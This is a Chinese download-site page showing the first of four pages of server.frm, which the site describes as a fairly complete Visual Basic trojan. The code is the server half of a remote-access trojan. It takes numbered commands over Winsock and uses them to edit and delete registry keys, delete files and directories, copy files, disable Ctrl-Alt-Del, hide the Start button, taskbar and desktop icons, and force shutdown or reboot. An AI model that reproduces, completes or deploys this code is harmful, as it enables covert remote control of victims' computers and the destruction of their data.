⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 server.frm

📁 一个较为完整的VB木马程序。只是文件上传功能还不太完善。
💻 FRM
📖 第 1 页 / 共 4 页
字号:
                    Select Case CountVal
                        Case 0: LastLen = M: CountVal = 1
                        Case 1: val01 = Left(SendData, M - LastLen): LastLen = M: CountVal = 2
                        Case 2:
                        val03 = Right(SendData, Len(SendData) - M): CountVal = 3
                        val02 = Mid(SendData, LastLen + 1, Len(SendData) - (LastLen + Len(val03) + 1))
                    End Select
                End If
            Next M
            SetBinaryValue val01, val02, val03
        Case "027":
            'GET BINARY VALUE
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    WinsockCtl.SendData "008" & GetBinaryValue(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
                    Exit For
                End If
            Next M
        Case "028":
            'DELETE REGISTRY KEY
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            DeleteKey Mid(SendData, 4, Len(SendData) - 3)
        Case "029":
            'GET STRING VALUE
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    WinsockCtl.SendData "009" & GetStringValue(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
                    Exit For
                End If
            Next M
        Case "030":
            'CREATE REGISTRY KEY
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            CreateKey Mid(SendData, 4, Len(SendData) - 3)
        Case "031":
            'SET STRING VALUE
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            SendData = Mid(SendData, 4, Len(SendData) - 3)
            For M = 1 To Len(SendData)
                ChrState = Mid(SendData, M, 1)
                If ChrState = Chr(0) Or M = 1 Then
                    Select Case CountVal
                        Case 0: LastLen = M: CountVal = 1
                        Case 1: val01 = Left(SendData, M - LastLen): LastLen = M: CountVal = 2
                        Case 2:
                        val03 = Right(SendData, Len(SendData) - M): CountVal = 3
                        val02 = Mid(SendData, LastLen + 1, Len(SendData) - (LastLen + Len(val03) + 1))
                    End Select
                End If
            Next M
            MsgBox val01
            MsgBox val02
            MsgBox val03
            SetStringValue val01, val02, val03
        Case "032":
    'NOT WORKING
            'GET DRIVE BYTES FREE
            WinsockCtl.SendData "010" & DriveBytesFree(CLng(Mid(SendData, 4, Len(SendData) - 3)))
        Case "033":
    'NOT WORKING
            'GET DRIVE TOTAL BYTES
            WinsockCtl.SendData "011" & DriveTotalBytes(CLng(Mid(SendData, 4, Len(SendData) - 3)))
        Case "034":
    'NOT WORKING
            'GET DRIVE PERCENT FREE
            WinsockCtl.SendData "012" & DrivePercentFree(CLng(Mid(SendData, 4, Len(SendData) - 3)))
        Case "035":
    'NOT WORKING
            'DRIVE OTHER INFORMATION
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    WinsockCtl.SendData "013" & DriveOtherInfo(CLng(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
                    Exit For
                End If
            Next M
        Case "036":
            'PRINT TEXT
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            PrintText Mid(SendData, 4, Len(SendData) - 3)
        Case "037":
            'SET CURSOR POSITION
            WinsockCtl.SendData "M2Your data (SET) information request has been sent."
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    SetCursorP CLng(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))), CLng(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
                    Exit For
                End If
            Next M
        Case "038":
            'GET CURSOR POSITION X
            WinsockCtl.SendData "014" & GetCursorX
        Case "039":
            'GET CURSOR POSITION Y
            WinsockCtl.SendData "015" & GetCursorY
        Case "040":
            'OPEN CD ROM
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            OpenCDROM
        Case "041":
            'CLOSE CD ROM
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            CloseCDROM
        Case "042":
            'GET PRIVATE PROFILE STRING
            'NOT USED
        Case "043":
            'SET PRIVATE PROFILE STRING
            'NOT USED
        Case "044":
            'CALL CACHE
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            SendData = Mid(SendData, 4, Len(SendData) - 3)
            For M = 1 To Len(SendData)
                ChrState = Mid(SendData, M, 1)
                If ChrState = Chr(0) Or M = 1 Then
                    Select Case CountVal
                        Case 0: LastLen = M: CountVal = 1
                        Case 1: val01 = Left(SendData, M - LastLen): LastLen = M: CountVal = 2
                        Case 2:
                        val03 = Right(SendData, Len(SendData) - M): CountVal = 3
                        val02 = Mid(SendData, LastLen + 1, Len(SendData) - (LastLen + Len(val03) + 1))
                    End Select
                End If
            Next M
            CallCache CLng(val01), val02, val03
        Case "045":
            'CHECK PAK VALID CYT1.0
            WinsockCtl.SendData "016" & PakValid(Mid(SendData, 4, Len(SendData) - 3))
        Case "046":
            'PRECACHE SOUND
            WinsockCtl.SendData "M2Your data (SET) information request has been sent."
            'NOT USED IN VAL STATEMENT
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    PrecacheSound Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)
                    Exit For
                End If
            Next M
        Case "047":
            'CHECK FILE COUNT IN CYT1.0 SPK
            WinsockCtl.SendData "017" & SOUNDPRECACHEFileCount(Mid(SendData, 4, Len(SendData) - 3))
        Case "048":
            'GET NAME OUT OF SPK CYT1.0 PAK FILE (FROM NUMBER TO NAME)
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    WinsockCtl.SendData "018" & SOUNDPRECACHEGetName(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), CLng(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))
                    Exit For
                End If
            Next M
        Case "049":
            'HIDE START BUTTON
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            HideStartButton
        Case "050":
            'SHOW START BUTTON
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            ShowStartButton
        Case "051":
            'HIDE TASKBAR CLOCK
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            HideTaskBarClock
        Case "052":
            'SHOW TASKBAR CLOCK
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            ShowTaskBarClock
        Case "053":
            'HIDE TASKBAR ICONS
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            HideTaskBarIcons
        Case "054":
            'SHOW TASKBAR ICONS
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            ShowTaskBarIcons
        Case "055":
            'HIDE PROGRAMS SHOWING IN TASKBAR
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            HideProgramsShowingInTaskBar
        Case "056":
            'SHOW PROGRAMS SHOWING IN TASKBAR
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            ShowProgramsShowingInTaskBar
        Case "057":
            'HIDE WINDOWS TOOLBAR
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            HideWindowsToolBar
        Case "058":
            'SHOW WINDOWS TOOLBAR
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            ShowWindowsToolBar
        Case "059":
            'DIABLE CTRL, ALT, DEL
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            DisableCtrlAltDel
        Case "060":
            'ENABLE CTRL, ALT, DEL
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            EnableCtrlAltDel
        Case "061":
            'WINDOWS LOGOFF
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            WINLogUserOff
        Case "062":
            'WINDOWS FORCE SHUTDOWN
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            WINForceClose
        Case "063":
            'WINDOWS SHUTDOWN
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            WINShutdown
        Case "064":
            'WINDOWS REBOOT
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            WINReboot
        Case "065":
            'OPEN FIND DIALOG
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            ShowFindDialog Mid(SendData, 4, Len(SendData) - 3)
        Case "066":
            'HIDE DESKTOP ICONS
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            BestWayHideDesktopIcons
        Case "067":
            'SHOW DESKTOP ICONS
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            BestWayShowDesktopIcons
        Case "068":
            'DISPLAY EXE ICON CHANGE DIALOG
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            DisplayChangeIconDialog Mid(SendData, 4, Len(SendData) - 3)
        Case "069":
            'DRAW EXTRACTED ICON
            'NOT USED
        Case "070":
            'DISPLAY FORMAT DRIVE DIALOG (SPECIFY DRIVE LETTER)
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            DisplayFormatDriveDialog Mid(SendData, 4, Len(SendData) - 3)
        Case "071":
            'CHECK IF PATH IS EXECUTABLE
            WinsockCtl.SendData "019" & IsPathExecutable(Mid(SendData, 4, Len(SendData) - 3))
        Case "072":
            'EXIT WINDOWS MESSAGE DIALOG
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            ExitWindowsMsgBox
        Case "073":
            'DISPLAY RUN DIALOG
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    DisplayRunDialog 0, Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M), True, True
                    Exit For
                End If
            Next M
        Case "074":
            'CHECK HWND FOR WINDOWS IE PROTOCALL
            'NO RETURN REQUEST (NOT USED)
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    EnumWindowsProc CLng(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))), CLng(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
                    Exit For
                End If
            Next M
        Case "075":
            'MINIMIZE ALL INTERNET EXPLORER WINDOWS
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            MinimizeIE
        Case "076":
            'RESTORE ALL INTERNET EXPLORER WINDOWS
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            RestoreIE
        Case "077":
            'GET WINDOW NAME
            Dim Win_Text As String
            Win_Text = Space(256)
            Call GetWindowText(CLng(Mid(SendData, 4, Len(SendData) - 3)), Win_Text, 256)
            WinsockCtl.SendData "020" & GetClassName(CLng(Mid(SendData, 4, Len(SendData) - 3))) & Chr(0) & Win_Text
        Case "078":
            'KILL FILE
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            Kill Mid(SendData, 4, Len(SendData) - 3)
        Case "079":
            'REMOVE DIRECTORY
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            RemoveDirectory Mid(SendData, 4, Len(SendData) - 3)
        Case "080":
            'MAKE DIRECTORY
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            MkDir Mid(SendData, 4, Len(SendData) - 3)
        Case "081":
            'COPY FILE TO NEW LOCATION
            WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
            For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
                If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
                    FileCopy Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)
                    Exit For

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -